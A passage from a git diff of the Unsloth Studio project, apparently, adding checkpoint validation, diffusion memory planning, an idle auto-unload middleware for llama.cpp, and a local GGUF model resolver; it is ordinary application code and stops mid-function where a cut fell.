in env/custom mode (they nest under the custom root) and # when absent. A user-set UNSLOTH_LLAMA_CPP_PATH is intentionally kept. _remove_path "$HOME/.unsloth/llama.cpp" +# Default-mode native diffusion (stable-diffusion.cpp / sd-cli) build, a sibling of +# studio like llama.cpp (install_sd_cpp_prebuilt.default_install_dir()). No-op in +# env/custom mode and when absent. A user-set UNSLOTH_SD_CPP_PATH is kept. +_remove_path "$HOME/.unsloth/stable-diffusion.cpp" _remove_path "$HOME/.unsloth/.cache" # Isolated Node.js runtime (install_node_prebuilt.py), a sibling of studio in # default mode. No-op in env/custom mode (nested under the custom root) and absent. diff --git a/scripts/verify_prequant_backend.py b/scripts/verify_prequant_backend.py index e160597599..66dc89b0c6 100644 --- a/scripts/verify_prequant_backend.py +++ b/scripts/verify_prequant_backend.py @@ -37,6 +37,14 @@ OUT = Path(os.environ.get("PREQUANT_OUT_DIR", str(_RESEARCH / "prequant_verify_i logging.basicConfig(level = logging.INFO, format = "%(message)s") LOGGER = logging.getLogger("verify_prequant") +# Prequant and runtime produce the SAME quantized weights, so their images must be +# near-identical; anything above this LPIPS means the prequant path diverged and the run +# fails. The prequant load peak must also sit clearly below the dense runtime peak (the +# whole point of the path); require at least this fractional headroom. +LPIPS_MAX = 0.02 +PREQUANT_PEAK_MAX_FRACTION = 0.75 +_RUNTIME_PEAK_FILE = OUT / "runtime_peak.txt" + def _target(dtype): import types @@ -81,7 +89,11 @@ def run(mode, steps, seed, res): sys.path.insert(0, str(BACKEND)) import torch import diffusers - from core.inference.diffusion_prequant import PrequantSource, load_prequantized_transformer + from core.inference.diffusion_prequant import ( + ALLOW_LOCAL_PREQUANT_PATH_ENV, + PrequantSource, + load_prequantized_transformer, + ) from core.inference.diffusion_transformer_quant import quantize_transformer OUT.mkdir(parents = True, exist_ok = True) @@ -90,6 +102,14 @@ def run(mode, steps, seed, res): torch.cuda.empty_cache() if mode == "prequant": + # A local checkpoint is refused unless its directory is allowlisted (unpickling an + # arbitrary file is unsafe). This verifier's CKPT is operator-supplied and trusted, + # so allowlist its directory here or the load returns None and measures nothing. + ckpt_dir = os.path.dirname(os.path.realpath(CKPT)) + existing = os.environ.get(ALLOW_LOCAL_PREQUANT_PATH_ENV, "") + os.environ[ALLOW_LOCAL_PREQUANT_PATH_ENV] = ( + ckpt_dir if not existing else existing + os.pathsep + ckpt_dir + ) source = PrequantSource(kind = "path", location = CKPT, filename = None) transformer = load_prequantized_transformer( transformer_cls, @@ -122,17 +142,45 @@ def run(mode, steps, seed, res): scheme = quantize_transformer(pipe, _target(torch.bfloat16), mode = "fp8", logger = LOGGER) load_peak = torch.cuda.max_memory_allocated() / 1e9 print(f"[runtime] engaged={scheme} load_gpu_peak={load_peak:.1f} GB", flush = True) + # Persist the dense reference peak so a later prequant run can enforce its VRAM win. + _RUNTIME_PEAK_FILE.write_text(f"{load_peak:.6f}") img, dt = _gen(pipe, steps, seed, res) # warmup img, dt = _gen(pipe, steps, seed, res) img.save(OUT / f"{mode}.png") print(f"[{mode}] gen={dt:.3f}s saved {mode}.png", flush = True) + if mode != "prequant": + return 0 + + # Enforce the two invariants this verifier exists to check, so a broken prequant + # checkpoint fails loudly instead of passing just because generation completed. ref_path = OUT / "runtime.png" - if mode == "prequant" and ref_path.exists(): - from PIL import Image - lp = _lpips(np.array(Image.open(ref_path).convert("RGB")), np.array(img)) - print(f"[prequant] LPIPS_vs_runtime={lp}", flush = True) + if not ref_path.exists(): + print("FAIL: runtime reference image missing; run --mode runtime first", flush = True) + return 1 + from PIL import Image + + lp = _lpips(np.array(Image.open(ref_path).convert("RGB")), np.array(img)) + print(f"[prequant] LPIPS_vs_runtime={lp}", flush = True) + if lp is None: + print("FAIL: LPIPS could not be computed (install lpips)", flush = True) + return 1 + if lp > LPIPS_MAX: + print(f"FAIL: LPIPS {lp:.4f} > {LPIPS_MAX} (prequant diverged from runtime)", flush = True) + return 1 + if _RUNTIME_PEAK_FILE.exists(): + try: + runtime_peak = float(_RUNTIME_PEAK_FILE.read_text().strip()) + except ValueError: + runtime_peak = 0.0 + if runtime_peak > 0.0 and load_peak > runtime_peak * PREQUANT_PEAK_MAX_FRACTION: + print( + f"FAIL: prequant load peak {load_peak:.1f} GB not below " + f"{PREQUANT_PEAK_MAX_FRACTION:.0%} of dense {runtime_peak:.1f} GB", + flush = True, + ) + return 1 return 0 diff --git a/studio/backend/auth/authentication.py b/studio/backend/auth/authentication.py index 9dd56489eb..b13cd1c851 100644 --- a/studio/backend/auth/authentication.py +++ b/studio/backend/auth/authentication.py @@ -143,6 +143,17 @@ async def get_current_subject(credentials: HTTPAuthorizationCredentials = Depend ) +async def authenticated_via_api_key( + credentials: HTTPAuthorizationCredentials = Depends(security), +) -> bool: + """True when the caller used an sk-unsloth API key, not a UI session JWT. + + Lets routes treat programmatic API callers differently from the Studio UI + (e.g. refuse a teardown the UI would allow). + """ + return bool(credentials and credentials.credentials.startswith(API_KEY_PREFIX)) + + async def get_current_subject_allow_password_change( credentials: HTTPAuthorizationCredentials = Depends(security), ) -> str: diff --git a/studio/backend/core/inference/diffusion.py b/studio/backend/core/inference/diffusion.py index 9d7a5beea6..f1fbcccfa1 100644 --- a/studio/backend/core/inference/diffusion.py +++ b/studio/backend/core/inference/diffusion.py @@ -744,6 +744,34 @@ class DiffusionBackend: return 0 # repo not in cache yet return total + @staticmethod + def _companion_cache_bytes(base: str) -> int: + """Resident companion (VAE + text-encoder) size for the memory plan. + + For a hub base repo this is the cached blob total (``_cache_bytes``). For a + LOCAL diffusers base directory the blob cache is empty, so sum the on-disk + component weights instead, excluding ``transformer/`` (the GGUF supplies the + transformer). Without this a local base folds its multi-GB VAE / text-encoder + weights to zero and auto planning can pick a resident placement that OOMs.""" + local = Path(base).expanduser() + if local.is_dir(): + total = 0 + for f in local.rglob("*"): + if f.suffix.lower() not in (".safetensors", ".bin", ".pt", ".ckpt"): + continue + try: + rel = f.relative_to(local) + except ValueError: + continue + if rel.parts and rel.parts[0] == "transformer": + continue # supplied by the GGUF single-file; not resident here + try: + total += f.stat().st_size + except OSError: + continue + return total + return DiffusionBackend._cache_bytes(base) + # ── Synchronous load / generate / unload ─────────────────────────────── def load_pipeline( @@ -1173,7 +1201,14 @@ class DiffusionBackend: compile -> placement.""" # 1. Pre-quantized checkpoint, when one is configured for the resolved scheme. scheme = select_transformer_quant_scheme(target, mode) - if scheme is not None and fam is not None: + if scheme is None: + # Bail BEFORE the (multi-GB) dense download: an explicit unsupported scheme + # (e.g. fp8 on Ampere, nvfp4 off Blackwell) would otherwise materialise the + # dense transformer and move the pipe to CUDA only to fail at quantize below -- + # a long finalization under the load lock after the old model was already + # evicted. load_pipeline catches this and builds the GGUF pipeline instead. + raise RuntimeError("transformer quant unsupported for this device/scheme") + if fam is not None: source = resolve_prequant_source(fam, scheme, path_override = prequant_path) if source is not None: transformer = load_prequantized_transformer( @@ -1187,6 +1222,10 @@ class DiffusionBackend: # Reject a checkpoint built with a different Linear filter than the # dense path uses, so the prequant and runtime-quant models match. min_features = DEFAULT_MIN_LINEAR_FEATURES, + # Only enforced when the caller forces fp8 fast-accum: a checkpoint that + # baked the other choice would ignore the request, so fall to the dense + # path (which applies it) instead of silently using the baked kernels. + fast_accum = fast_accum, logger = logger, ) if transformer is not None: @@ -1261,13 +1300,29 @@ class DiffusionBackend: else: transformer_resident = estimate_gguf_resident_mib(file_size_mib(single_file_path)) # The companion components (VAE + text encoders) load near their on-disk - # size; sum whatever the prefetch already placed in the base-repo cache. - companion = self._cache_bytes(base) + # size; sum whatever the prefetch placed in the base-repo cache, or -- for a + # LOCAL diffusers base -- the on-disk component weights (the blob cache is + # empty for a local path, which would otherwise fold multi-GB companions to 0 + # and let auto planning pick a resident placement that OOMs). + companion = self._companion_cache_bytes(base) companion_mib = int(companion // (1024 * 1024)) if companion else None model_dense_mib = None if transformer_resident is not None: model_dense_mib = transformer_resident + (companion_mib or 0) - runtime_headroom = estimate_image_runtime_mib(width = None, height = None, family = fam.name) + # Feed the variant hint (single-file basename + base/repo) next to the family name + # so estimate_image_runtime_mib sees distilled markers ("turbo"/"schnell") that + # detect_family normalizes out of fam.name -- distilled models need ~15% less + # activation headroom, and over-reserving can force needless offload / tiling. + variant_hint = " ".join( + p + for p in ( + fam.name, + Path(single_file_path).name if single_file_path else "", + repo_id or base or "", + ) + if p + ) + runtime_headroom = estimate_image_runtime_mib(width = None, height = None, family = variant_hint) return plan_diffusion_memory( target = target, device_memory = device_memory, diff --git a/studio/backend/core/inference/diffusion_engine_router.py b/studio/backend/core/inference/diffusion_engine_router.py index 8f364aa59c..ec4c2fc41c 100644 --- a/studio/backend/core/inference/diffusion_engine_router.py +++ b/studio/backend/core/inference/diffusion_engine_router.py @@ -43,6 +43,19 @@ logger = get_logger(__name__) _DISABLE_TOKENS = frozenset({"0", "off", "false", "no"}) _ENABLE_TOKENS = frozenset({"1", "on", "true", "yes"}) +# Resolved device backend -> the prebuilt sd-cli accelerator to install. Only used +# when a *force-native* load on a GPU host has to install the binary: without this the +# installer defaults to "cpu" and downloads the plain build, so an sd_cpp generation +# forced on a ROCm/Intel box would silently run on CPU. Unknown/GPU-less backends fall +# back to "auto" (the CPU/Metal plain build), matching the installer's own default. +# (install_sd_cpp_prebuilt has no CUDA-Linux asset, so "cuda" only differs on Windows.) +_INSTALL_ACCELERATOR = {"rocm": "rocm", "cuda": "cuda", "xpu": "vulkan"} + + +def _install_accelerator_for(backend: str) -> str: + return _INSTALL_ACCELERATOR.get(backend, "auto") + + # The engine the current (or most recent) load committed to, and why a non-native # choice was made. Mutated only under _lock during selection. _lock = threading.Lock() @@ -136,7 +149,10 @@ def select_and_activate_engine( binary = None if policy_eligible and fam_ok: - binary = ensure_sd_cpp_binary(allow_install = _install_allowed()) + binary = ensure_sd_cpp_binary( + allow_install = _install_allowed(), + accelerator = _install_accelerator_for(backend), + ) # Probe runnability here, before committing the route to native: a present but # non-runnable binary (wrong arch, missing shared libs, no execute bit) would # otherwise pass as available and only fail inside the background load, instead diff --git a/studio/backend/core/inference/diffusion_memory.py b/studio/backend/core/inference/diffusion_memory.py index e1718e16c0..1735ccbbd6 100644 --- a/studio/backend/core/inference/diffusion_memory.py +++ b/studio/backend/core/inference/diffusion_memory.py @@ -513,14 +513,19 @@ def _apply_group_offload(pipe: Any, device: str, logger: Any) -> bool: gkwargs["non_blocking"] = True if "record_stream" in _params: gkwargs["record_stream"] = True - apply_group_offloading(transformer, **gkwargs) - # Place the remaining (smaller) components resident; the streamed - # transformer manages its own placement via the offloading hooks. + # Place the remaining (smaller) components resident BEFORE attaching the + # transformer's group-offload hooks. If a companion .to() OOMs we return False + # with NO hooks installed, so the caller's whole-module offload fallback works: + # diffusers REJECTS enable_model_cpu_offload on a pipeline that already carries + # group-offload hooks, which would otherwise turn the intended fallback into a + # load-time crash. The streamed transformer manages its own placement via the + # offloading hooks applied next. for name, comp in getattr(pipe, "components", {}).items(): if name == "transformer": continue if isinstance(comp, torch.nn.Module): comp.to(onload) + apply_group_offloading(transformer, **gkwargs) return True except Exception as exc: # noqa: BLE001 — fall back to whole-module offload if logger is not None: diff --git a/studio/backend/core/inference/diffusion_prequant.py b/studio/backend/core/inference/diffusion_prequant.py index 2232e726c8..088ebc3575 100644 --- a/studio/backend/core/inference/diffusion_prequant.py +++ b/studio/backend/core/inference/diffusion_prequant.py @@ -136,6 +136,7 @@ def load_prequantized_transformer( hf_token: Optional[str] = None, scheme: str, min_features: Optional[int] = None, + fast_accum: Optional[bool] = None, logger: Any = None, ) -> Optional[Any]: """Load the pre-quantized transformer described by ``source`` onto ``device``. @@ -171,7 +172,9 @@ def load_prequantized_transformer( # a torch.save pickle. weights_only=False is required to rebuild those subclasses. # The local-path branch is gated above; the repo branch is a first-party artifact. ckpt = torch.load(path, weights_only = False, map_location = "cpu") - if not _validate_checkpoint(ckpt, scheme, base, logger, min_features = min_features): + if not _validate_checkpoint( + ckpt, scheme, base, logger, min_features = min_features, fast_accum = fast_accum + ): return None state_dict = ckpt["state_dict"] @@ -223,7 +226,12 @@ def _resolve_checkpoint_path(source: PrequantSource, hf_token: Optional[str]) -> """The local file path for ``source``, downloading from the Hub if needed; None if absent.""" if source.kind == "path": import os - return source.location if os.path.isfile(source.location) else None + + # Expand ~ once: the allowlist gate (_local_prequant_path_allowed) already + # expands it, so a "~/..." path that passed the gate must be expanded here too + # or os.path.isfile() sees the literal "~" and silently skips a real checkpoint. + expanded = os.path.expanduser(source.location) + return expanded if os.path.isfile(expanded) else None if source.kind == "repo": from huggingface_hub import hf_hub_download return hf_hub_download(repo_id = source.location, filename = source.filename, token = hf_token) @@ -236,13 +244,20 @@ def _validate_checkpoint( base: str, logger: Any, min_features: Optional[int] = None, + fast_accum: Optional[bool] = None, ) -> bool: """Reject a checkpoint that is the wrong format / scheme / base model / filter. ``min_features`` (when given) is the runtime Linear-feature threshold: a checkpoint built with a different ``--min-features`` quantises a different set of Linear layers, so ``load_state_dict(assign=True)`` would silently install a model that does not match - what the dense path produces while status still reports the requested scheme. Reject it.""" + what the dense path produces while status still reports the requested scheme. Reject it. + + ``fast_accum`` (fp8 only) is the runtime accumulate choice: when the caller forces it + explicitly (not None) and the checkpoint recorded a different baked value, the loaded + fp8 kernels would ignore the request while status still reports fp8, so reject and let + the dense path honor it. A checkpoint that predates the metadata (field absent) is + accepted unchanged for backward compatibility.""" if not isinstance(ckpt, dict) or ckpt.get("format") != PREQUANT_FORMAT: _warn(logger, scheme, ValueError("unrecognised pre-quant checkpoint format")) return False @@ -254,9 +269,23 @@ def _validate_checkpoint( _warn(logger, scheme, ValueError(f"checkpoint scheme {meta.get('scheme')!r} != {scheme!r}")) return False ckpt_base = meta.get("base_model_id") - if ckpt_base and base and not _same_base_model(ckpt_base, base): - _warn(logger, scheme, ValueError(f"checkpoint base {ckpt_base!r} != {base!r}")) - return False + if base: + # A checkpoint whose keys happen to match a different base can load strict=True and + # then generate from the wrong weights while status reports the requested scheme. + # Our builder always records base_model_id, so a checkpoint that omits it against a + # requested base is untrustworthy -- refuse rather than silently accept it. + if not ckpt_base: + _warn( + logger, + scheme, + ValueError( + f"checkpoint metadata missing base_model_id; refusing for base {base!r}" + ), + ) + return False + if not _same_base_model(ckpt_base, base): + _warn(logger, scheme, ValueError(f"checkpoint base {ckpt_base!r} != {base!r}")) + return False if min_features is not None: ckpt_min = meta.get("min_features") if ckpt_min is not None and int(ckpt_min) != int(min_features): @@ -266,6 +295,34 @@ def _validate_checkpoint( ValueError(f"checkpoint min_features {ckpt_min!r} != runtime {min_features!r}"), ) return False + # The int8 exclusion set (M=1 modulation / conditioning-embedder projections) is derived + # from the scheme, but a future change to that token list would leave older checkpoints + # with a stale baked set that still passes scheme+min_features and then crashes at the + # first denoise step. When the checkpoint records the set, reject a mismatch; absent + # (older artifact) is accepted since scheme+min_features already pin today's filter. + ckpt_excludes = meta.get("exclude_name_tokens") + if ckpt_excludes is not None: + from .diffusion_transformer_quant import exclude_tokens_for_scheme + expected = tuple(exclude_tokens_for_scheme(scheme)) + if tuple(ckpt_excludes) != expected: + _warn( + logger, + scheme, + ValueError( + f"checkpoint exclude_name_tokens {tuple(ckpt_excludes)!r} != {expected!r}" + ), + ) + return False + # fp8 fast-accum is baked into the saved kernels; only enforce when the caller forces it. + if fast_accum is not None: + ckpt_fa = meta.get("fast_accum") + if ckpt_fa is not None and bool(ckpt_fa) != bool(fast_accum): + _warn( + logger, + scheme, + ValueError(f"checkpoint fast_accum {ckpt_fa!r} != requested {bool(fast_accum)!r}"), + ) + return False return True diff --git a/studio/backend/core/inference/llama_keepwarm.py b/studio/backend/core/inference/llama_keepwarm.py new file mode 100644 index 0000000000..4ce663c3ce --- /dev/null +++ b/studio/backend/core/inference/llama_keepwarm.py @@ -0,0 +1,298 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Opt-in idle auto-unload (TTL keep-warm) for the local llama.cpp model. + +Off by default (idle seconds = 0). When enabled, a background loop unloads the +loaded GGUF once it has been idle for the configured TTL, freeing VRAM. A +pure-ASGI middleware tracks in-flight inference requests so a long stream that +outlives the TTL is never unloaded mid-response. +""" + +from __future__ import annotations + +import asyncio +import contextlib +import threading +import time + +from loggers import get_logger + +logger = get_logger(__name__) + +_lock = threading.Lock() +_inflight = 0 +# Requests blocked on the unload gate but not yet counted in _inflight: the idle +# loop must not unload while one is waiting (it would unload out from under it). +_pending = 0 +_last_active = time.monotonic() +# The (id, quant) idle-unload last freed, so an alias/unknown request that would +# otherwise 503 against an empty backend can reload it (set on unload, cleared on +# reload). Storing the quant means the reload restores the exact freed variant. +_last_unloaded_model = None +# Guards inflight bumps against the idle-check-then-unload race, and blocks new +# inference from starting mid-swap. Process-wide, not per-loop: the backend slot is +# shared across every event loop in the process, so a per-loop gate would let a +# request on loop B start inference while a swap on loop A tears the model down. +_lifecycle_lock = threading.Lock() + + +@contextlib.asynccontextmanager +async def _unload_gate(): + # Acquire off the loop: non-blocking first (the common uncontended case), else + # poll a non-blocking acquire off a short sleep. Polling keeps the wait off this + # loop AND cancellation-safe -- a cancel lands during the sleep, when the gate is + # not held, so it never leaks (mirrors the auto-switch swap gate). + while not _lifecycle_lock.acquire(blocking = False): + await asyncio.sleep(0.02) + try: + yield + finally: + _lifecycle_lock.release() + + +_INFERENCE_PREFIXES = ("/v1/", "/api/inference/") +_INFERENCE_SUFFIXES = ( + "/chat/completions", + "/completions", + "/messages", + "/messages/count_tokens", # counts via the loaded tokenizer; protect like /messages + "/embeddings", + "/responses", + "/generate/stream", # Studio's own streaming route on the same llama-server + "/audio/generate", # direct GGUF TTS; can outlive the idle TTL +) + + +def _is_inference_path(path: str) -> bool: + if path.startswith(_INFERENCE_PREFIXES) and path.endswith(_INFERENCE_SUFFIXES): + return True + # Public checkpoint preview (/p/{run}/v1/chat/completions) delegates to the + # chat handler and streams from the same backend, so protect it from idle unload. + return path.startswith("/p/") and path.endswith("/v1/chat/completions") + + +def _note_pending() -> None: + global _pending + with _lock: + _pending += 1 + + +def _note_unpending() -> None: + global _pending + with _lock: + _pending = max(0, _pending - 1) + + +def _note_start() -> None: + # Do not stamp _last_active here: while _inflight > 0 the model is already + # protected (see _is_idle), and stamping on start lets an external-provider + # request that is later untracked still reset the local idle timer. + global _inflight, _pending + with _lock: + _pending = max(0, _pending - 1) + _inflight += 1 + + +def _note_end() -> None: + global _inflight, _last_active + with _lock: + _inflight = max(0, _inflight - 1) + _last_active = time.monotonic() + + +def _note_untracked_end() -> None: + # Drop a request that never used the local GGUF without stamping local + # activity, so periodic external-provider traffic can't keep the model warm. + global _inflight + with _lock: + _inflight = max(0, _inflight - 1) + + +def _is_idle(ttl_seconds: float) -> bool: + with _lock: + return _inflight == 0 and _pending == 0 and (time.monotonic() - _last_active) >= ttl_seconds + + +def _note_activity() -> None: + """Stamp activity, e.g. on a (re)load, so the model survives at least one TTL.""" + global _last_active + with _lock: + _last_active = time.monotonic() + + +def other_inference_request_count( + current_request_counted: bool = True, *, include_pending: bool = True +) -> int: + """Tracked inference requests other than the current route call. + + The middleware counts OpenAI-compatible requests before route code runs, so + the caller is excluded by default. Idle-unload counts pending waiters too (a + swap holding the gate would unload out from under them). The swap guard passes + include_pending=False: a pending request is blocked in the middleware and has + not started inference, so it can't be the request a swap would interrupt. + """ + with _lock: + active = _inflight + if current_request_counted and active > 0: + active -= 1 + return max(0, active) + (_pending if include_pending else 0) + + +# Set on the ASGI scope by a route that proved this request won't touch +# llama.cpp (e.g. it proxied to an external provider), so the keep-warm count +# excludes it and the middleware skips its own end-decrement. +_UNTRACKED_SCOPE_KEY = "_unsloth_keepwarm_untracked" + + +def untrack_current_request(scope) -> None: + """Drop this request from the in-flight count once the route knows it won't + use the local GGUF, so unrelated external-provider traffic can't trip the + swap busy guard. Idempotent; the middleware then skips its end-decrement.""" + if not isinstance(scope, dict) or scope.get(_UNTRACKED_SCOPE_KEY): + return + scope[_UNTRACKED_SCOPE_KEY] = True + _note_untracked_end() + + +def inference_lifecycle_gate(): + """The gate a model swap holds so new inference can't start mid-load. Process- + wide, so a swap on one loop blocks inference starting on any other loop.""" + return _unload_gate() + + +def note_model_loaded() -> None: + """Record a successful GGUF load: stamp activity and drop any reload stash so + a manual load clears it synchronously, not only on the next idle poll.""" + _note_activity() + _set_last_unloaded(None) + + +def note_model_unloaded() -> None: + """Record a deliberate (user/API) unload: drop any idle reload stash so the next + request can't resurrect the just-unloaded model. The idle loop unloads via the + backend directly and then stashes the freed model for an alias reload; an + explicit unload instead means "stay unloaded", so it must not stamp activity.""" + _set_last_unloaded(None) + + +def get_last_unloaded_model(): + with _lock: + return _last_unloaded_model + + +def _set_last_unloaded(value) -> None: + global _last_unloaded_model + with _lock: + _last_unloaded_model = value + + +class LlamaKeepWarmMiddleware: + """Pure ASGI: count in-flight inference requests and stamp activity on completion.""" + + def __init__(self, app): + self.app = app + + async def __call__(self, scope, receive, send): + # Inference endpoints are all POST; skipping non-POST avoids counting CORS + # preflight (OPTIONS). ``or ""`` guards an explicit None path. + if ( + scope.get("type") != "http" + or scope.get("method") != "POST" + or not _is_inference_path(scope.get("path") or "") + ): + await self.app(scope, receive, send) + return + # Always track in-flight on inference paths, even when the feature is off, + # so a stream that starts before idle-unload is enabled can't be unloaded + # mid-response if the operator turns it on during that stream. Counting is + # cheap and invisible to clients (the response is proxied unchanged). + # Mark pending before the gate so the idle loop (which holds the gate while + # unloading) can't free the model while this request is waiting to start. + _note_pending() + started = False + try: + async with _unload_gate(): + _note_start() + started = True + finally: + if not started: + _note_unpending() + ended = {"done": False} + status = {"code": None} + + def _finish() -> None: + # A route that untracked itself already decremented; don't double-count. + if ended["done"]: + return + ended["done"] = True + if scope.get(_UNTRACKED_SCOPE_KEY): + return + # This middleware runs before FastAPI auth, so a 401/403 reaches here + # without ever touching llama.cpp. Decrement the in-flight count (to + # balance _note_start) but do NOT stamp activity, or repeated + # unauthenticated probes on an exposed server would keep the model warm + # and never let idle-unload free VRAM. + if status["code"] in (401, 403): + _note_untracked_end() + else: + _note_end() + + async def send_wrapper(message): + if message.get("type") == "http.response.start": + status["code"] = message.get("status") + # Final body frame marks the end of a (possibly streaming) response. + elif message.get("type") == "http.response.body" and not message.get( + "more_body", False + ): + _finish() + await send(message) + + try: + await self.app(scope, receive, send_wrapper) + finally: + _finish() + + +def _loaded_identity(backend): + if not backend.is_loaded or not backend.model_identifier: + return None + # Third slot is the advertised id (repo id) an auto-switch load sets on the + # backend; it's the override key, so an idle stash keyed by the concrete load + # path doesn't drop the user's saved launch flags on the alias reload. + advertised = getattr(backend, "_openai_advertised_id", None) or backend.model_identifier + return (backend.model_identifier, getattr(backend, "hf_variant", None), advertised) + + +async def idle_unload_loop(poll_seconds: float = 15.0) -> None: + """Unload the loaded GGUF once idle past the configured TTL. Inert when off.""" + from utils.openai_auto_switch_settings import get_auto_unload_idle_seconds + + seen_model = None + while True: + await asyncio.sleep(poll_seconds) + try: + ttl = get_auto_unload_idle_seconds() + if ttl <= 0: + continue + from routes.inference import get_llama_cpp_backend + + backend = get_llama_cpp_backend() + # Track by (id, variant): a (re)loaded model -- including the same repo + # at a different quant -- counts as activity so it survives one TTL + # before its first request (loads bypass the activity middleware). + current = _loaded_identity(backend) + if current != seen_model: + seen_model = current + if current is not None: + _note_activity() + _set_last_unloaded(None) # a model is loaded; drop stale stash + async with _unload_gate(): + if backend.is_loaded and _is_idle(ttl): + freed = _loaded_identity(backend) + await asyncio.to_thread(backend.unload_model) + _set_last_unloaded(freed) # let an alias request reload it + logger.info("Idle auto-unload: freed GGUF after %ss idle", ttl) + seen_model = None + except Exception as exc: + logger.debug("idle_unload_loop iteration failed: %s", exc) diff --git a/studio/backend/core/inference/local_model_resolver.py b/studio/backend/core/inference/local_model_resolver.py new file mode 100644 index 0000000000..002cafe2c8 --- /dev/null +++ b/studio/backend/core/inference/local_model_resolver.py @@ -0,0 +1,269 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Resolve an OpenAI-request ``model`` string to a downloaded local GGUF. + +Used by the opt-in auto-switch path. The match is conservative: only names +that map to an already-downloaded local GGUF (and a quant that is actually on +disk) are eligible, so an arbitrary OpenAI model string still falls through to +the loaded model (drop-in compat) and no surprise multi-GB download is ever +triggered. The local-model scan is cached for a few seconds since auto-switch +consults it per request. +""" + +from __future__ import annotations + +import threading +import time +from dataclasses import dataclass +from typing import Optional + +from core.inference.model_ids import public_model_id +from loggers import get_logger + +logger = get_logger(__name__) + + +@dataclass(frozen = True) +class _LocalGgufEntry: + loader_id: str # advertised id (repo id / folder name), also the override key + load_path: str # concrete on-disk dir/file passed to /load so it never downloads + variants: tuple[str, ...] # local quant labels; () for a standalone .gguf + + +_CACHE_TTL_S = 5.0 +_lock = threading.Lock() +_scan: tuple[float, dict[str, _LocalGgufEntry]] = (0.0, {}) + + +def _is_abs_path_id(value: str) -> bool: + """True when an id is an absolute filesystem path (the ./models and LM Studio + scanners use the on-disk path as the id) rather than a repo id like org/name.""" + from pathlib import Path + try: + return Path(value).is_absolute() + except Exception: + return False + + +def _advertised_loader_id(info) -> Optional[str]: + """The id to advertise for a scanned model: prefer a client-facing alias over + an absolute filesystem path so /v1/models and the override key never expose a + host path (the ./models and LM Studio scanners report the path as info.id).""" + raw_id = getattr(info, "id", None) + if not raw_id or not _is_abs_path_id(raw_id): + return raw_id + for alt in (getattr(info, "model_id", None), getattr(info, "display_name", None)): + if alt and not _is_abs_path_id(alt): + return alt + # No clean alias: strip to a path-free public id so a host path is never advertised. + return public_model_id(raw_id) or raw_id + + +def _resolve_load_dir(p): + """The concrete dir holding the GGUFs. For an HF cache repo (``models--*`` + with ``snapshots/``) this is the latest snapshot dir, so /load takes the + local branch instead of the download-capable repo-id branch.""" + from pathlib import Path + + try: + if (p / "snapshots").is_dir(): + from routes.models import _resolve_hf_cache_realpath + real = _resolve_hf_cache_realpath(p) + if real: + return Path(real) + except Exception: + pass + return p + + +def _local_gguf_entry(loader_id: str, info) -> Optional[_LocalGgufEntry]: + """Build an entry only when GGUF quants are on disk (not Transformers/ + safetensors), listing only on-disk quants. ``load_path`` is a concrete local + path so /load resolves the variant locally and never fetches a remote one.""" + from pathlib import Path + from utils.models.model_config import _is_mmproj, list_local_gguf_variants + + path = getattr(info, "path", None) + if not isinstance(path, str): + return None + p = Path(path) + try: + if p.is_file(): + # A standalone .gguf loads by its own path; no quant sub-selection. An + # mmproj companion (vision/audio projector) is not a servable model on + # its own: _scan_models_dir's standalone-file pass does not filter it + # the way the directory scan does, so reject it here or /v1/models would + # advertise a projector and a switch could load it instead of the weights, + # evicting the loaded model. The directory branch below is already mmproj + # free (list_local_gguf_variants drops mmproj quants). + if p.suffix.lower() != ".gguf" or _is_mmproj(p.name): + return None + return _LocalGgufEntry(loader_id, str(p), ()) + load_dir = _resolve_load_dir(p) + variants, _ = list_local_gguf_variants(str(load_dir)) + quants = tuple(v.quant for v in variants if getattr(v, "quant", None)) + return _LocalGgufEntry(loader_id, str(load_dir), quants) if quants else None + except Exception: + return None + + +def info_has_local_gguf(info) -> bool: + """True when *info* (a LocalModelInfo) points to on-disk GGUF weights the + auto-switch path can load. Read from the files, not ``info.model_format``: the + HF-cache scanner leaves model_format unset for GGUF snapshots, so a + model_format filter would drop every cached GGUF. Lets /v1/models advertise + exactly what /v1 can serve.""" + from pathlib import Path + + path = getattr(info, "path", None) + # Ollama-link entries come from a scanner _build_index intentionally skips (it + # creates symlinks on the request path), so their advertised ids never resolve. + # Don't report them as servable, or /v1/models would list unswitchable models. + if isinstance(path, str) and any( + seg in (".studio_links", "ollama_links") for seg in Path(path).parts + ): + return False + return _local_gguf_entry(getattr(info, "id", "") or "", info) is not None + + +def _build_index() -> dict[str, _LocalGgufEntry]: + """Map normalized id/model_id/display_name -> local GGUF entry. + + Scans the same roots Studio's model picker lists (./models, the active plus + legacy/default HF caches, LM Studio dirs, and user scan folders) so a named + local model is never missed and silently served as the loaded one. Ollama's + scanner is skipped: it creates symlinks as a side effect and this runs on the + request path. + """ + # Lazy import: routes.models imports core.inference, so import at call time. + from pathlib import Path + from routes.models import ( + _scan_models_dir, + _scan_hf_cache, + _scan_lmstudio_dir, + _resolve_hf_cache_dir, + _is_hidden_model, + ) + from utils.paths import legacy_hf_cache_dir, hf_default_cache_dir, lmstudio_model_dirs + + index: dict[str, _LocalGgufEntry] = {} + seen_hf: set[str] = set() + + def _scan_hf_once(directory) -> list: + if directory is None: + return [] + try: + d = Path(directory) + if not d.is_dir(): + return [] + rp = str(d.resolve()) + if rp in seen_hf: + return [] + seen_hf.add(rp) + return _scan_hf_cache(directory) + except Exception as exc: # a missing/malformed root must skip, never crash the index + logger.debug("auto-switch: skipping HF cache dir %r: %s", directory, exc) + return [] + + # Each source is guarded on its own so one bad root (a permission error, a + # malformed cache) drops only that source, not the whole index. + found: list = [] + try: + found += _scan_models_dir(Path("./models").resolve()) + except Exception as exc: + logger.debug("auto-switch: ./models scan failed: %s", exc) + try: + for hf_dir in (_resolve_hf_cache_dir(), legacy_hf_cache_dir(), hf_default_cache_dir()): + found += _scan_hf_once(hf_dir) + except Exception as exc: + logger.debug("auto-switch: HF cache scan failed: %s", exc) + try: + for lm_dir in lmstudio_model_dirs(): + found += _scan_lmstudio_dir(lm_dir) + except Exception as exc: + logger.debug("auto-switch: LM Studio scan failed: %s", exc) + try: + from storage.studio_db import list_scan_folders + for folder in list_scan_folders(): + try: + fp = Path(folder["path"]) + found += ( + 